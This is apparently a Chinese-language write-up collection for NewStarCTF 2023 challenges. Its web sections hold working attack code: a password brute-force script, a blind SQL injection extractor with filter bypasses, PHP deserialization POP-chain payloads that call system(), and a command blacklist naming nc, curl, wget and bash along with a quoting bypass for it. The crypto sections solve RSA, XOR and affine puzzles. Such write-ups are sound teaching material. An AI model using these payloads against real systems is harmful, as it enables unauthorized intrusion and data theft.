很显然,点进去一看是个诈骗 flag,继续研究终端的 JavaScript 源码发现这个终端是个虚假的终端,但在其中还能发现一个 admin 账号,并且存在一个提示 Maybe you need BurpSuite. ,看来用 bp 这方向没错,那就开始爆破寻找 admin 账号的密码。
从图中已知输入的密码会进行 md5 加密,通过编写 Python 脚本进行爆破,我这里爆破用的是 rockyou.txt ,可以在 Kali 中找到。
import requests
with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as file:
for line in file:
line = line.strip()
data = {"un": "admin", "pw": f"{hashlib.md5(str(line).encode(encoding='utf-8')).hexdigest()}", "rem": "0"}
ret = requests.post('http://node4.buuoj.cn:25956/signin.php', data=data)
if 'div class="alert alert-success show' in ret.text:
print(line)
break
# 000000
Successfully created default configuration file "/var/www/html/1.php"
通过访问 1.php ,并构造 payload 如下即可得到 flag。
1=system("cat /flag");
[Week 3]medium_sql
根据题目描述可以得出需要进行一些绕过,先查看那些关键词被过滤了。
过滤关键词:union、# ,发现回显只有 id not exists 还有 ID 正确时的输出,故尝试布尔注入,经测试 select、or、where、ascii 需要进行大小写绕过。
import requests
import time
target = "http://c14df6c5-9f87-4cfa-bd7a-9dd3bca93bf4.node4.buuoj.cn:81/"
def getDataBase(): # 获取数据库名
database_name = ""
for i in range(1, 1000): # 注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low + high) // 2
while low < high: # 二分法
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(database()))," + str(i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target+'?id='+params["id"])
if "Physics" in r.text: # 为真时说明该字符在ascii表后面一半
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
database_name += chr(mid) # 将ascii码转换为字符
print(database_name)
return "数据库名:" + database_name
def getTable(): # 获取表名
column_name = ""
for i in range(1, 1000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(table_name))from(infOrmation_schema.tables)wHere(table_schema='ctf'))," + str(
i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if "Physics" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print(column_name)
return "表名为:" + column_name
def getColumn(): # 获取列名
column_name = ""
for i in range(1, 250):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(column_name))from(infOrmation_schema.columns)wHere(table_name='here_is_flag'))," + str(
i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if 'Physics' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print(column_name)
return "列名为:" + column_name
def getFlag(): # 获取flag
flag = ""
for i in range(1, 1000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(flag))from(here_is_flag))," + str(i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if 'Physics' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
flag += chr(mid)
print(flag)
return "flag:" + flag
a = getDataBase()
b = getTable()
c = getColumn()
d = getFlag()
print(a)
print(b)
print(c)
print(d)
[Week 3]POP Gadget
源代码
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __construct($super)
{
$this->func = $super;
}
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct($ctf)
{
$this->obj = $ctf;
}
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __construct($handle)
{
$this->obj = $handle;
}
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
$begin = new Begin();
$ctf = new CTF();
$handle = new Handle($ctf);
$super = new Super($handle);
$begin->name = new Then($super);
$ctf->handle = new WhiteGod();
$ctf->handle->func = "system";
$ctf->handle->var = "cat /flag";
echo urlencode(serialize($begin));
// O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
[Week 3]GenShin
通过查看 Network - Headers 可以发现 Pop 属性值为 /secr3tofpop ,通过访问可以得到回显如下
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
通过 exec 方法可以执行系统命令,因此这题也考的是 Linux 的命令绕过。
由于引号没有进行绕过,所以可以通过引号进行关键字的绕过,构造 Payload 过程如下
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
$pop = new minipop();
$pop->qwejaskdjnlka = new minipop();
$pop->qwejaskdjnlka->code = "cat /flag_is_h3eeere | t''ee 2";
echo serialize($pop);
// O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee 2";s:13:"qwejaskdjnlka";N;}}
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
前两个用 CyberChef 可以一把梭,结果如下。
part 1 of flag: flag{dazzling_encoding#4e0ad4
part 2 of flag: f0ca08d1e1d0f10c0c7afe422fea7
第三部分使用的是 UUEncode 编码
http://www.atoolbox.net/Tool.php?Id=731
解密后可以得到第三部分
part 3 of flag: c55192c992036ef623372601ff3a}
[Week 1]Small d
https://github.com/pablocelayes/rsa-wiener-attack
题目中的 e 很大,说明 d 就会很小,通过 Wiener 攻击来解出 d。
from Crypto.Util.number import long_to_bytes
from RSAwienerHacker import hack_RSA
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
d = hack_RSA(e, n)
print(d)
m = pow(c, d, n)
print(long_to_bytes(m))
import gmpy2
from Crypto.Util.number import long_to_bytes, isPrime
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
e = 65537
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
array_p = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]
phi = 1
for p in array_p:
if isPrime(p):
phi *= (p - 1)
else:
exit(1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
[Week 1]babyxor
from secret import *
ciphertext = []
for f in flag:
ciphertext.append(f ^ key)
print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2
知道明文前五位为 flag{ ,通过异或密文前五位来得出 key ,python 脚本如下
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
known_plaintext = b"flag{"
partial_key = [ciphertext[i] ^ known_plaintext[i] for i in range(5)]
print("Partial key:", bytes(partial_key))
# Partial key: b'\x8f\x8f\x8f\x8f\x8f'
可以得出 key 为 \x8f ,通过遍历异或整串密文就可以得到 flag,脚本如下
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
key = int.from_bytes(b'\x8f', 'big')
print(bytes([ciphertext[i] ^ key for i in range(36)]))
[Week 1]Affine
from flag import flag, key
modulus = 256
ciphertext = []
for f in flag:
ciphertext.append((key[0]*f + key[1]) % modulus)
print(bytes(ciphertext).hex())
# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
def mod_inverse(a, m):
for x in range(1, m):
if (a * x) % m == 1:
return x
return None
ciphertext = bytes.fromhex("dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064")
known_text = b"flag{"
for k0 in range(256):
for k1 in range(256):
inv_k0 = mod_inverse(k0, 256)
if not inv_k0:
continue
decrypted = [(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(known_text)]]
if bytes(decrypted) == known_text:
print(bytes([(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(ciphertext)]]))
break
# flag{4ff1ne_c1pher_i5_very_3azy}
[Week 1]babyaes
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *
def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])
def main():
flag_ = pad(flag)
key = os.urandom(16) * 2
iv = os.urandom(16)
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)
if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
str = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
for s in str:
print(chr(ord(s) - 1), end='')
# flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}
[Week 1]Segments
百度 IDA的Segments窗口要怎么打开呢 ,可以得到结果 Shift+F7 ,将 Segments 窗口中的 name 拼凑起来就是 flag。